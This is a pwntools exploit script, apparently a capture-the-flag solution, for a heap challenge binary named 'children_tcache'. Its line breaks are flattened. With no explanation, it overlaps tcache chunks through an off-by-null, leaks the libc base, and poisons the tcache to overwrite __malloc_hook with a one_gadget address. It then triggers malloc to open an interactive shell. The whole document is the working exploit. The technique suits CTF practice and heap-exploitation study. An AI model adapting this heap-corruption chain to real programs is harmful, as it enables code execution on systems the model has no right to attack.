1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import *
p = process('./children_tcache') elf = ELF('children_tcache') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug'
def create(size,content): p.sendlineafter('Your choice: ','1') p.sendlineafter('Size:',str(size)) p.sendafter('Data:',content)
def show(index) : p.sendlineafter('Your choice: ','2') p.sendlineafter('Index:',str(index))
def delete(index) : p.sendlineafter('Your choice: ','3') p.sendlineafter('Index:',str(index))
create(0x500, 'a' * 0x4ff) create(0x68, 'b' * 0x67) create(0x5f0, 'c' * 0x5ef) create(0x20, 'd' * 0x20) delete(1) delete(0)
for i in range(9): create(0x68 - i, 'b' * (0x68 - i)) delete(0)
create(0x68,'b'*0x60+p64(0x580))
delete(2)
create(0x508,'a'*0x507)
show(0) data = u64(p.recv(6).ljust(8,'\x00')) libc_base = data - 4111520 log.success('libc base: '+hex(libc_base))
create(0x68,'b'*0x67)
delete(0) delete(2)
malloc_addr = libc_base + libc.symbols['__malloc_hook']
one_addr = libc_base + 0x10a41c create(0x68,p64(malloc_addr)+0x5f*'a') create(0x68,'a'*0x67) create(0x68,p64(one_addr))
p.sendlineafter('Your choice: ','1') p.sendlineafter('Size:','10')
p.interactive()
|